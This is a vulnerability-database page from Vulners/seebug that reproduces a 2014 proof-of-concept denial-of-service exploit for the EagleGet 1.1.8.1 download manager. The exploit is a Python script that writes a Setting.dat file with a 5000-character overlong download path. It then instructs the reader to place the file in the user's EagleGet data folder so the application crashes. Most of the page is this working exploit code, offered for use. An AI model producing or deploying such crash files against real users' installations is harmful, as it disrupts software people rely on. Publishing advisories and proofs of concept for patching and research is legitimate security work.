Lucene search
K

EagleGet 1.1.8.1 - Denial of Service Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 35 Views

EagleGet 1.1.8.1 DoS Exploit on Windows X

Code

                                                # Exploit Title: EagleGet 1.1.8.1 DoS Exploit
# Date: 03 April 2014
# Exploit Author: Interference Security
# Vendor Homepage: http://www.eagleget.com/
# Software Link: http://www.eagleget.com/download/
# Version: 1.1.8.1
# Tested on: Microsoft Windows XP SP3

print "[*] Crash PoC for EagleGet 1.1.8.1 tested on Windows XP SP3"
print '[*] Creating "Setting.dat" file'
s1 = """[MONITORING]
repair_browser_type=0
clipboard_monitoring=1
browser_monitoring=1
media_dl_btn_show=1
pasue_monitor_by_key=0
universal_capture_mode=1
monitor_file_type=.exe;.zip;.rar;.tar;.gz;.mp3;.mp4;.3gp;.rm;.rmvb;.mpeg;.mpg;.wav;.pdf;.chm;.iso;.msi;.7z;.aac;.ape;.flac;.mkv;.mov;.ogg;.torrent;.apk;.wmv;
not_monitor_sites=siteseal.thawte.com;ecom.cimetz.com;*.voice2page.com;
[GENERAL]
run_with_boost=1
disable_user_guide=0
auto_category=0
min_opt=0
close_opt=1
"""
s2 = "defualt_dl_path=C:\\Documents and Settings\\tester\\My Documents\\EagleGet Downloads\\" + "A"*5000
s3 = """
general_default_save_path=C:\Documents and Settings\tester\My Documents\EagleGet Downloads\General
media_default_save_path=C:\Documents and Settings\tester\My Documents\EagleGet Downloads\Media
documents_default_save_path=C:\Documents and Settings\tester\My Documents\EagleGet Downloads\Documents
software_default_save_path=C:\Documents and Settings\tester\My Documents\EagleGet Downloads\Software
compressd_default_save_path=C:\Documents and Settings\tester\My Documents\EagleGet Downloads\Compressed
use_last_file_category_folder=1
user_license=1
alway_overwrite_exist_file=0
[CONNECTION]
max_download_num=8
max_upload_num=8
max_retry_num=10
sync_dl_task_num=5
download_limits=0
max_download_rate=2048
upload_limits=1
max_upload_rate=2048
auto_resume_download=0
auto_resume_upload=0
user_agent_type=4
custom_agent=
show_server_file_time=1
[PROXY]
proxy_content_type=0
[HTTP_PROXY]
proxy_content_address=
proxy_content_port=80
proxy_content_user=
proxy_content_password=
[SOCKET_PROXY]
proxy_content_address=
proxy_content_port=1080
proxy_content_user=
proxy_content_password=
[AUTOMATION]
disable_sleep_when_processing=1
dl_finished_shutdown=0
dl_finish_check_virus=0
antivirus_process_path=
antivirus_params=
antivirus_scan_file_type=.zip; .rar; .exe; .doc; .com; .bin; .gz; .tar; .arj; .lzh; .msi; .cab;
automation_type=0
[SCHEDULE]
scheduel_stop=0
insert_head_of_schedule_queue=0
schedule_type=0
schdeule_daily_type=127
schedule_start_time=20:00:00
schedule_stop_time=23:00:00
schedule_daily_date=2014-04-03
[SILENTMODE]
silent_mode=0
show_taskmonitor=1
show_add_dwonload_wnd=1
show_finish_notify_dlg=1
play_finish_notify_sound=1
[CLOUD]
del_file_ul_finish=0
default_cloud_type=0
dropbox_info_user=
dropbox_info_password=
google_drive_info_user=
google_drive_info_password=
skydrive_info_user=
skydrive_info_password=
[OTHER]
show_dlg_del_stask_=1
show_dlg_del_mtasks_=1
show_dlg_exit_proc_=1
disable_auto_update=0
ui_init_pos=259,13,1109,613
column_size=45,156,135,115,251
export_list_save_path=
[FLOATWND]
float_wnd_pos_x=1195
float_wnd_pos_y=30
[LANGUAGE]
user_ui_language=32821
[AUTOUPDATE]
auto_update_file=
auto_update_file_md5=
auto_update_file_params=
"""
settings = s1+s2+s3
f = open("Setting.dat", "w")
f.write(settings)
print "[*] File created."
print '[*] Copy file to "C:\\Documents and Settings\\<username>\\Application Data\\EagleGet\\UserData"'
print "[*] Run EagleGet and Let it Crash ;)"
print "[*] Done"
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation